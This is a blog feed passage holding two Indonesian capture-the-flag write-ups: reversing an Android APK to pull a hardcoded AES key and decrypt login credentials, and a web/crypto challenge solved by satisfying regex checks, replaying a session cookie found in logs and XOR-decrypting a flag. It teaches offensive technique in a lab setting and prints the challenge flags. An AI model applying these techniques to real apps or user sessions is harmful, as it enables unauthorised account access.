<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="605" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-185849-1024x605.png" alt="" class="wp-image-382" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-185849-1024x605.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-185849-300x177.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-185849-768x454.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-185849.png 1194w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Kita mulai pada AndroidManifest.xml yang merupakan file krusial yakni berisi semua konfigurasi utama pada aplikasi, disini kita mendapatkan package name <strong><em>com.example.challenge_bhitech</em></strong> dan pada konfigurasi juga terdapat suatu permission INTERNET artinya aplikasi ini membutuhkan akses ke internet yang bisa diasumsikan kemungkinan aplikasi ini berkomunikasi dengan server/host external.</p>



<p>Masuk pada <em><strong>com </strong></em>-> <strong><em>example.challenge_bhitech</em></strong> -> <strong><em>MainActivity </em></strong>untuk mulai membaca pseudo code pada class utama</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="414" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-190438-1024x414.png" alt="" class="wp-image-384" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-190438-1024x414.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-190438-300x121.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-190438-768x310.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-190438.png 1086w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Okeyy jadi ada fungsi onCreate dan decrypt yang jika kita mengacu pada <strong><em>Android Activity LifeCycle</em></strong>, fungsi onCreate merupakan suatu fungsi yang pertama kali dijalankan saat activity dipanggil dan code disini tampak sederhana yang dimana pada fungsi onCreate melakukan deklarasi TextView dan Button dan jika button ditekan menggunakan method <em><strong>setOnClickListener</strong></em> akan ada 2 validasi menggunakan if statement</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="155" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-191334-1024x155.png" alt="" class="wp-image-385" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-191334-1024x155.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-191334-300x45.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-191334-768x116.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-191334.png 1165w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>2 variable yang dibandingkan yaitu <em><strong>obj </strong></em>dan <em><strong>obj2</strong></em> yang pada variable obj memanggil id dari <em><strong>R.id.username </strong></em>sementara pada ob2 memanggil id <em><strong>R.id.password</strong></em></p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-c630b07d8784fd0d51dc389c2b6b76d3"><code><strong><em>final TextView textView = (TextView) findViewById(R.id.username);
final TextView textView2 = (TextView) findViewById(R.id.password);

String obj = textView.getText().toString();
String obj2 = textView2.getText().toString();</em></strong></code></pre>



<p>Secara sederhana deklarasi variable tampak seperti kode diatas, kemudian pada validasi if melakukan komparasi menggunakan method equals dari string <em><strong>Uf/mOpF136yF5Lmd05TjBQ==</strong></em> dan string <em><strong>hI147+XcKYxg4HK9bzQe0kkRpay5p3t4sCuTwqjqkDU=</strong></em> dengan inputan user dan disitu juga terlihat jika string yang dibandingkan di bungkus dengan function <em><strong>decryptCredential</strong></em></p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-ea7240fe8efe338f1b707b711e04501b"><code>validasi pertama :
<em><strong>obj.equals(MainActivity.decryptCredential("Uf/mOpF136yF5Lmd05TjBQ==", string)</strong></em>

validasi kedua :
<em><strong>obj2.equals(MainActivity.decryptCredential("hI147+XcKYxg4HK9bzQe0kkRpay5p3t4sCuTwqjqkDU=", string)</strong></em></code></pre>



<p>Dan pada fungsi decryptCredential terkait dengan AES encryption</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="730" height="124" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-192203.png" alt="" class="wp-image-387" style="width:837px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-192203.png 730w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-192203-300x51.png 300w" sizes="auto, (max-width: 730px) 100vw, 730px" /></figure>



<p>AES sendiri merupakan suatu algoritma enkripsi dengan operasi symteric cryptography artinya <em><strong>key </strong></em>yang digunakan untuk encrypt dan decrypt itu menggunakan key yang sama jadi disini kita memerlukan key untuk melakukan dekripsi</p>



<p>Dan jika kita melihat function decryptCredential memerlukan 2 arguments yaitu ciphertext dan key yang dimana pada saat instansiasi terlihat key dipanggil dari </p>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-78085d528f858b5af2e8233648728542"><code>String string = MainActivity.<strong>this</strong>.getString(R.string.aes_key);</code></pre>



<pre class="wp-block-preformatted">jadi <em><strong>R.string.aes_key</strong></em> mengambil dari resource string pada attribute aes_key jadi kita bisa mencari string yang dicompile pada <em><strong>resources.arsc -> res -> values -> strings.xml</strong></em></pre>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="807" height="596" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/aes.png" alt="" class="wp-image-391" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/aes.png 807w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/aes-300x222.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/aes-768x567.png 768w" sizes="auto, (max-width: 807px) 100vw, 807px" /></figure>



<p>dan jika kita CTRL + F dengan keyword aes_key maka ditemukan name aes_key dengan value <em><strong>Bh1tecH_AES_KeYs</strong></em> yang merupakan key untuk melakukan decrypting jadi disini kita akan membuat simple script sederhana menggunakan python</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="731" height="266" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-194514.png" alt="" class="wp-image-392" style="width:832px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-194514.png 731w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-194514-300x109.png 300w" sizes="auto, (max-width: 731px) 100vw, 731px" /></figure>



<p>lalu jika kita run</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="445" height="120" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-194615.png" alt="" class="wp-image-393" style="width:835px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-194615.png 445w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-194615-300x81.png 300w" sizes="auto, (max-width: 445px) 100vw, 445px" /></figure>



<p>maka akan menampilan result plaintext dan lanjut kita inputkan di form login yang terdapat pada file apk </p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="849" height="654" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-194850.png" alt="" class="wp-image-394" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-194850.png 849w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-194850-300x231.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-194850-768x592.png 768w" sizes="auto, (max-width: 849px) 100vw, 849px" /></figure>



<p>Saat berhasil terlihat kita berpindah intent atau activity yang lain yang juga pada activity ini terdapat suatu button <em><strong>get flag</strong></em> dan jika kita click maka akan redirect ke messaging apps / sms</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="295" height="464" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-195045.png" alt="" class="wp-image-395" style="width:824px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-195045.png 295w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-20-195045-191x300.png 191w" sizes="auto, (max-width: 295px) 100vw, 295px" /></figure>



<p>Dan menampilkan suatu flag <em><strong>bhitech{wh0aa_thisIs_m0b1le_RE_coyy!}</strong></em></p>



<p class="has-medium-font-size"><strong>Penutup</strong></p>



<p>Jadi pada challenge ini kita belajar bagaimana melakukan RE dan decompile pada mobile apps untuk membypass suatu validasi tertentu, dimana yang ditulis pada write up ini merupakan cara klasik dan masih ada banyak teknik lain untuk solve challenge ini seperti yang tertulis pada deskripsi <em><strong>&#8220;ingat kata mas Jon Erickson dimana hacking itu seni jadi untuk mendapatkan flagnya banyak teknik yang bisa digunakan</strong></em>&#8220;, karena hanya untuk writeup dan aku tidak membahas keseluruhan teknik seperti hooking pada validasi login dan function menggunakan frida atau bisa juga melakukan patching dengan memodifikasi intruksi smali pada apk serta bisa juga langsung melakukan hit endpoint ke server untuk mendapatkan flagnya jadi tergantung dari kreativitas masing masing dan sekian itu saja semoga bermanfaat </p>



<p> <em>&#8220;Investasi dalam pengetahuan adalah hal terpenting.&#8221; </em><strong>-Benjamin Franklin</strong></p>



<p></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/11/20/writeup-mobile-pentesting-bhitech-challenge/">WriteUp Mobile Pentesting Bhitech &#8211; Challenge</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/11/20/writeup-mobile-pentesting-bhitech-challenge/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Logfrenzy WriteUp bhitech &#8211; challenge</title>
		<link>https://blog.bhineka-tech.org/2024/11/15/logfrenzy-writeup-bhitech-challenge/</link>
					<comments>https://blog.bhineka-tech.org/2024/11/15/logfrenzy-writeup-bhitech-challenge/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
		<pubDate>Fri, 15 Nov 2024 20:30:20 +0000</pubDate>
				<category><![CDATA[Capture The Flag]]></category>
		<category><![CDATA[cryptography]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[technology]]></category>
		<category><![CDATA[web exploitation]]></category>
		<category><![CDATA[web pentesting]]></category>
		<guid isPermaLink="false">https://blog.bhineka-tech.org/?p=352</guid>

					<description><![CDATA[<p>Sebenarnya challenge ini dibuat dari ide teman saya yang kebetulan juga saya ikut membantu dalam proses development dan deployment dimana challenge ini terkait dengan Web Exploitation dan Cryptography jadi langsung saja Bisa dibaca pada deskripsi untuk lebih jelas dan intinya pada deskripsi diberikan suatu clue yaitu regex dan analysis. Jika kita masuk pada halaman login [&#8230;]</p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/11/15/logfrenzy-writeup-bhitech-challenge/">Logfrenzy WriteUp bhitech &#8211; challenge</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Sebenarnya challenge ini dibuat dari ide teman saya yang kebetulan juga saya ikut membantu dalam proses development dan deployment dimana challenge ini terkait dengan Web Exploitation dan Cryptography jadi langsung saja</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="402" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015140-1024x402.png" alt="" class="wp-image-353" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015140-1024x402.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015140-300x118.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015140-768x302.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015140-1536x603.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015140.png 1825w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<pre class="wp-block-code has-vivid-green-cyan-color has-black-background-color has-text-color has-background has-link-color wp-elements-62309e10b1e9dcd51baa510e1739b84d"><code>LogFrenzy &#x1f575;&#x200d;&#x2642;&#x1f4bb;

Selamat datang di LogFrenzy, tantangan seru untuk menguji kemampuan analisis log dan regex! &#x1f50d; Di sini, peserta akan dihadapkan pada log penuh petunjuk tersembunyi. Tugasnya? Teliti, bongkar pola, pecahkan regex, dan temukan flag yang tersembunyi! &#x1f3c6;

Kecepatan dan ketelitian adalah kunci, tapi kreativitas dalam memecahkan masalah juga sangat diperlukan. Siap untuk tantangan ini di LogFrenzy? &#x1f4a5;

Level: Medium
Kategori: Web Exploitation &amp; Cryptography
Hadiah (First Solved): Rp 30.000 &#x1f3c5;

URL Challenge: 
https:&#47;&#47;logfrenzy.siber-tech.web.id
Flag: bhitech{...}

#ChallengeAccepted #LogLife #CTF #Bhitech</code></pre>



<p>Bisa dibaca pada deskripsi untuk lebih jelas dan intinya pada deskripsi diberikan suatu clue yaitu regex dan analysis.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="506" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015348-1024x506.png" alt="" class="wp-image-354" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015348-1024x506.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015348-300x148.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015348-768x380.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015348-1536x760.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015348.png 1854w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Jika kita masuk pada halaman login terdapat 2 form input yaitu username dan password </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="270" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015426-1024x270.png" alt="" class="wp-image-355" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015426-1024x270.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015426-300x79.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015426-768x202.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015426-1536x405.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-015426.png 1636w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Dimana jika view source pada HTML code terdapat regex dari username dan password jadi kita diminta untuk melakukan bypass dan memecahkan validasi regex tersebut.</p>



<pre class="wp-block-code"><code>username regex:
^(?=.*&#91;A-Z])(?=.*&#91;a-z])(?=.*&#91;0-9])(?=.*&#91;!@#$%^&amp;*])&#91;A-Za-z0-9!@#$%^&amp;*]{12,20}$  

password regex: 
^(?=.*&#91;A-Z])(?=.*&#91;a-z])(?=.*&#91;0-9])(?=.*&#91;!@#$%^&amp;*])(?!.*(\d)\1{2,})(?!.*(&#91;A-Za-z0-9])\2{2,})&#91;A-Za-z0-9!@#$%^&amp;*]{20,30}$</code></pre>



<p>Jika kita memahami regex sangat mudah untuk memecahkan pattern dari validasi tersebut, pada regex username terdapat pola dimana kita harus menginputkan character mulai dari huruf besar, kecil, angka dan special character hingga 12 sampai 20 dan pada password meminta hingga 20 sampai 30 character.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="392" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020100-1024x392.png" alt="" class="wp-image-356" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020100-1024x392.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020100-300x115.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020100-768x294.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020100-1536x589.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020100.png 1811w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Mulai analysis manual menggunakan webtools <a href="https://regex101.com/">https://regex101.com/</a> dan lakukan matching pada pattern regex disini kita inputkan dengan <strong><em>Bhitech!@123</em></strong> dan terlihat matching ya selanjutnya kita analysis pada bagian password</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="498" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020356-1024x498.png" alt="" class="wp-image-357" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020356-1024x498.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020356-300x146.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020356-768x373.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020356-1536x747.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020356.png 1862w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>pada password kita juga memiliki pattern yang cocok menggunakan string <em><strong>Bhitech123!A@testing</strong></em> jadi kita sudah menemukan username dan password</p>



<p>user: <strong><em>Bhitech!@123</em></strong></p>



<p>pass: <em><strong>Bhitech123!A@testing</strong></em></p>



<p>Jadi kita bisa lanjut untuk login..</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="493" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020730-1024x493.png" alt="" class="wp-image-359" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020730-1024x493.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020730-300x144.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020730-768x370.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020730-1536x739.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-020730.png 1762w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Dan kita berhasil masuk dashboard, dan pada tampilan dashboard terdapat 3 list menu dan kita diminta untuk mendownload file log</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="868" height="463" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021018.png" alt="" class="wp-image-360" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021018.png 868w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021018-300x160.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021018-768x410.png 768w" sizes="auto, (max-width: 868px) 100vw, 868px" /></figure>



<p> Pada access log di file pertama tidak ada yang menarik hanya akses log dan menampilkan request path dari client jadi kita lanjut yang kedua</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="269" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021201-1024x269.png" alt="" class="wp-image-361" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021201-1024x269.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021201-300x79.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021201-768x202.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021201.png 1324w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>pada file error log kedua juga tidak ada hint atau clue jadi kita skip dan lanjut pada file user action yang ketiga </p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="308" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021312-1024x308.png" alt="" class="wp-image-362" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021312-1024x308.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021312-300x90.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021312-768x231.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021312.png 1202w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Dan disini menarik jadi pada file ketiga ini berisi log action user yang sudah login dan terdapat name cookie dari object User Action dimana berisi key session_id dan value semacam unique number. </p>



<p>Kemungkinan ini merupakan suatu valid session dari user sebelumnya karena dari key objectnya menunjukkan cookie jadi kita masukkan cookie dengan name session_id dan memilih acak salah satu value</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="450" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021942-1024x450.png" alt="" class="wp-image-363" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021942-1024x450.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021942-300x132.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021942-768x337.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021942-1536x675.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-021942.png 1707w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Benar saja setelah input cookies, pada header website menampilkan suatu pesan yang dimana disana kita menemukan suatu cipher text </p>



<pre class="wp-block-code"><code>Kode rahasia:

3a273b1f001a3034070509163b24610f3a29183c211c550b3c101d0d3a2d692261342649363e2758175836282f

Petunjuk XOR:

Ingat, jika A ^ B = C, maka C ^ A = B! 
Semoga ini membantu!

Format flag: bhitech{...}</code></pre>



<p>Dan kita juga disuguhkan suatu petunjuk terkait dengan XOR. jadi XOR itu merupakan operasi cryptography ya dimana jika 1 ^ 1 = 0 maka 1 ^ 0 =1 atau gampangnya jika bilangan yang di XOR itu sama contoh 1 ^ 1 = 0 atau 0 ^ 0 = 0 dan sebaliknya jika bilangan berbeda maka hasilnya 1</p>



<p>Bisa asumsikan disini kita mempunyai ciphertext tapi tidak mempunyai key jadi rumusnya:</p>



<pre class="wp-block-code"><code>flag ^ key = ciphertext(kita punya)

jika

cipher ^ key = flag(kita belum punya)

disini kita membutuhkan key dimana kita sudah tau sebagian dari format flag yaitu bhitech{} jadi jika 

cipher ^ flag(sebagian) = key 

jadi kita perlu lakukan XOR dengan sebagian flag untuk mendapatkan key sehingga kita bisa melakukan decrypting pada ciphertext </code></pre>



<p>ada 2 cara ya kita bisa menggunakan webtools maupun membuat suatu program sendiri menggunakan python. Simplenya kita bisa menggunakan webtools dari cyberchef <a href="https://gchq.github.io/CyberChef/">https://gchq.github.io/CyberChef/</a></p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="442" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023654-1024x442.png" alt="" class="wp-image-364" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023654-1024x442.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023654-300x130.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023654-768x332.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023654-1536x663.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023654.png 1880w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Pertama kita convert dulu dari hex karena ciphertext disana di encode menggunakan hexadecimal lalu kedua kita pilih XOR</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="461" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023844-1024x461.png" alt="" class="wp-image-366" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023844-1024x461.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023844-300x135.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023844-768x346.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023844-1536x692.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-023844.png 1894w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Terlihat ya saat kita input bhitech(6 character) sebagian output menampilkan <em><strong>XORkey</strong></em>(6 character) karena kita menginput 6 character jadi hasil yang diambil juga 6 character yang dimana kita berhasil mendapatkan suatu key yaitu <em><strong>XORkey</strong></em> dan jika masukkan key yang valid</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="472" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-024119-1024x472.png" alt="" class="wp-image-367" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-024119-1024x472.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-024119-300x138.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-024119-768x354.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-024119-1536x708.png 1536w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-024119.png 1888w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>Maka outputnya akan menampilkan flag yang benar atau bisa juga kita membuat simple program menggunakan python</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="281" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-032741-1024x281.png" alt="" class="wp-image-368" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-032741-1024x281.png 1024w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-032741-300x82.png 300w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-032741-768x210.png 768w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-032741.png 1230w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p>dan jika kita run</p>



<figure class="wp-block-image size-full is-resized"><img loading="lazy" decoding="async" width="601" height="148" src="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-032820.png" alt="" class="wp-image-371" style="width:837px;height:auto" srcset="https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-032820.png 601w, https://blog.bhineka-tech.org/wp-content/uploads/2024/11/Screenshot-2024-11-16-032820-300x74.png 300w" sizes="auto, (max-width: 601px) 100vw, 601px" /></figure>



<p>Flag: bhitech{Unlock3d_P@ssw0rd_Of_T1m3_C0nqu3r!ng}</p>



<p>Cukup sekian semoga bermanfaat, keep learning and exploring </p>



<p></p>
<p>Artikel <a href="https://blog.bhineka-tech.org/2024/11/15/logfrenzy-writeup-bhitech-challenge/">Logfrenzy WriteUp bhitech &#8211; challenge</a> pertama kali tampil pada <a href="https://blog.bhineka-tech.org">Bhineka blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.bhineka-tech.org/2024/11/15/logfrenzy-writeup-bhitech-challenge/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Mengenal cFSRM pada windows untuk menyulitkan heker</title>
		<link>https://blog.bhineka-tech.org/2024/11/15/mengenal-cfsrm-pada-windows-untuk-menyulitkan-heker/</link>
					<comments>https://blog.bhineka-tech.org/2024/11/15/mengenal-cfsrm-pada-windows-untuk-menyulitkan-heker/#respond</comments>
		
		<dc:creator><![CDATA[xpl0dec]]></dc:creator>
